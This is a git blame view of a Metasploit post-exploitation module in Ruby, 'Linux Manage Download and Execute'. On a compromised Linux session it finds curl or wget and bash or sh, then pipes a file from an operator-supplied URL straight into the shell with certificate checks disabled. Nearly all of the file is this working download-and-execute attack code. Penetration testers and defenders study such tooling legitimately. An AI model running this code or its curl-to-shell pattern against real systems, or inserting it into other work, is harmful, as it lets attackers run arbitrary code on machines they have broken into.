Files
metasploit-gs/modules/post/linux/manage/download_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

122 lines
3.0 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2013-09-05 13:41:25 -05:00
include Msf::Post::File
include Msf::Post::Linux::System
2023-02-08 13:47:34 +00:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Manage Download and Execute',
'Description' => %q{
This module downloads and runs a file with bash. It first tries to uses curl as
its HTTP client and then wget if it's not found. Bash found in the PATH is used
to execute the file.
},
'License' => MSF_LICENSE,
'Author' => [
2013-09-05 13:41:25 -05:00
'Joshua D. Abraham <jabra[at]praetorian.com>',
],
2023-02-08 13:47:34 +00:00
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter']
)
)
2013-09-05 13:41:25 -05:00
register_options(
[
OptString.new('URL', [true, 'Full URL of file to download.'])
2023-02-08 13:47:34 +00:00
]
)
2013-09-05 13:41:25 -05:00
end
def cmd_exec_vprint(cmd)
vprint_status("Executing: #{cmd}")
output = cmd_exec(cmd)
2023-02-08 13:47:34 +00:00
if !output.empty?
vprint_status(output.to_s)
2013-09-05 13:41:25 -05:00
end
return
end
def exists_exe?(exe)
2014-03-20 11:48:16 -05:00
vprint_status "Searching for #{exe} in the current $PATH..."
2023-02-08 13:47:34 +00:00
path = get_env('PATH')
if path.nil? || path.empty?
2013-09-05 13:41:25 -05:00
return false
2023-02-08 13:47:34 +00:00
vprint_error 'No local $PATH set!'
2014-03-20 11:48:16 -05:00
else
vprint_status "$PATH is #{path.strip!}"
2013-09-05 13:41:25 -05:00
end
2023-02-08 13:47:34 +00:00
path.split(':').each do |p|
full_path = p + '/' + exe
2014-03-20 11:48:16 -05:00
vprint_status "Searching for '#{full_path}' ..."
return true if file_exist?(full_path)
2023-02-08 13:47:34 +00:00
end
2013-09-05 13:41:25 -05:00
return false
end
def search_http_client
2023-02-08 13:47:34 +00:00
print_status('Checking if curl exists in the path...')
if exists_exe?('curl')
print_good('curl available, using it')
@stdout_option = ''
@http_client = 'curl'
@ssl_option = '-k'
2013-09-05 13:41:25 -05:00
return
end
2023-02-08 13:47:34 +00:00
print_status('Checking if wget exists in the path...')
if exists_exe?('wget')
print_good('wget available, using it')
@http_client = 'wget'
@stdout_option = '-O-'
@ssl_option = '--no-check-certificate'
2013-09-05 13:41:25 -05:00
return
end
end
def search_shell
2023-02-08 13:47:34 +00:00
print_status('Checking if bash exists in the path...')
if exists_exe?('bash')
print_good('bash available, using it')
@shell = 'bash'
2013-09-05 13:41:25 -05:00
return
end
2023-02-08 13:47:34 +00:00
print_status('Checking if sh exists in the path...')
if exists_exe?('sh')
print_good('sh available, using it')
@shell = 'sh'
2013-09-05 13:41:25 -05:00
return
end
end
def run
search_http_client
2023-02-08 13:47:34 +00:00
if !@http_client
print_warning('neither curl nor wget available in the $PATH, aborting...')
2013-09-05 13:41:25 -05:00
return
end
search_shell
2023-02-08 13:47:34 +00:00
if !@shell
print_warning('neither bash nor sh available in the $PATH, aborting...')
2013-09-05 13:41:25 -05:00
return
end
2013-11-27 01:03:41 -06:00
if datastore['URL'].match(%r{^https://})
2013-11-27 00:43:07 -06:00
cmd_exec_vprint("#{@http_client} #{@stdout_option} #{@ssl_option} #{datastore['URL']} 2>/dev/null | #{@shell}")
2013-09-05 13:41:25 -05:00
else
2013-11-27 00:43:07 -06:00
cmd_exec_vprint("#{@http_client} #{@stdout_option} #{datastore['URL']} 2>/dev/null | #{@shell}")
2013-09-05 13:41:25 -05:00
end
end
end